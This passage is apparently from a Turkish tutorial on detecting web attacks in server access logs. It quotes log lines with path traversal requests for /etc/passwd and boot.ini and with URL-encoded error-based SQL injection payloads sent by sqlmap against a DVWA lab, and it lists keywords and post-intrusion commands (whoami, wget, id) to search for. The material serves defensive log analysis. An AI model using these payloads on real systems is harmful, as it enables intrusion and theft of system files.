13.22.1.19 – - [01/Dec/2010:02:20:56 +0200] “GET /rubrique.asp?no=../../../../../../../../../etc/passwd|55|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_&#039;/&#039;. HTTP/1.1¨ 404 210 “-” “Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3¨

13.22.1.19 – - [01/Dec/2010:02:20:56 +0200] “GET /rubrique.asp?no=/../../../../../../../../../../../../../../../../../../../../boot.ini|55|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_&#039;/&#039;. HTTP/1.1¨ 404 210 “-” “Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3¨

13.22.1.19 – - [01/Dec/2010:02:20:56 +0200] “GET /rubrique.asp?no=/../../../../../../etc/passwd|55|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_&#039;/&#039;. HTTP/1.1¨ 404 210 “-” “Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3¨

13.22.1.19 – - [01/Dec/2010:02:20:56 +0200] “GET /rubrique.asp?no=/../../../etc/passwd|55|80040e14|[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Line_1:_Incorrect_syntax_near_&#039;/&#039;. HTTP/1.1¨ 404 210 “-” “Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3¨

13.22.1.19 – - [01/Dec/2010:02:20:56 +0200] “GET /shoutbox/expanded.php?conf=../../../../../../../etc/passwd%20 HTTP/1.1¨ 404 219 “-” “Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3¨




13.22.1.19 ip adresinin sisteme yönelik normal olmayan bir şeyler denediği ortadadır. Bu IP adresinin başka neler denediğine bakarak saldırı imzası olarak aranacak kelime grupları genişletilebilir.

Burada önemli olan bu tip isteklere web sunucunun döndüğü cevaptır . Web sunucu 404 değil 300 veya 200 lü cevap dönüyorsa saldırının başarılı olmuş olma ihtimali vardır. 404 alınıyorsa bu saldırganın denediği atakların başarılı olmadığı, sunucu tarafında bulunmadığı anlamına gelir.




SQL Injection Denemelerini Yakalama

SQLi denemelerini web sunucu loglarından yakalamak için genellikle tercih edilen yöntem sqli için kullanılan kelimeler ve evasion amaçlı kullanılan özel karekterlerin web sunucu loglarından aratılmasıdır.

SQLi aratmak için Concat, char, union, select, order by, group by gibi komutlar ‘ denenebilir. Bu kelimeleri log dosyasında aratmak false positive sonuçlar çıkarabileceği için çıkan sonuçların teker teker incelenmesi gerekir.

Burada yine sadece GET üzerinden denenen sqli sldırılarının loglarından anlamlı bir şeyler çıkacağını belirtmemiz gerekiyor.

Concat denemeleri




127.0.0.1 – - [28/Feb/2012:05:03:40 -0500] “GET /dvwa/vulnerabilities/sqli/?id=9&Submit=Submit%27%29%20AND%20%28SELECT

%204770%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT

%28CHAR%2858%2C118%2C106%2C115%2C58%29%2C%28SELECT%20%28CASE%20WHEN

%20%284770%3D4770%29%20THEN%201%20ELSE%200%20END%29%29%2CCHAR%2858%2C101%2C111%2C102%2C58%29

%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20

INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%28%27JrPI%27%3D%27JrPI HTTP/1.1¨ 200 4660 “-” “sqlmap/1.0-dev (r4009) (http://sqlmap.sourceforge.net)”

127.0.0.1 – - [28/Feb/2012:05:03:40 -0500] “GET /dvwa/vulnerabilities/sqli/?id=9&Submit=Submit%27%20AND%20%28SELECT%204770%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%28

CHAR%2858%2C118%2C106%2C115%2C58%29%2C%28SELECT%20%28CASE%20WHEN%20%284770%3D4770%29%20

THEN%201%20

ELSE%200%20END%29%29%2CCHAR%2858%2C101%2C111%2C102%2C58%29%2CFLOOR%28RAND%280%29%2A2%29%29x%20

FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%27AwiQ%27%3D%27AwiQ HTTP/1.1¨ 200 4660 “-” “sqlmap/1.0-dev (r4009) (http://sqlmap.sourceforge.net)”




Not: İleri seviye sql injection denemelerini yakalamak için PHPIDS’deki düzenli ifadeler kullanılmalıdır.




Command Execution Denemeleri

Eğer saldırgan başarılı bir şekilde sisteme sızmayı başardıysa ilk işi Linux sistemde çalıştırılacak temel komutları id, whoami, wget, .etc.passwd vs denemek olacaktır.

Bu komutları sistemde çalıştırarak saldırganın sisteme erişim sağlayıp sağlayamadığı belirlenebilir.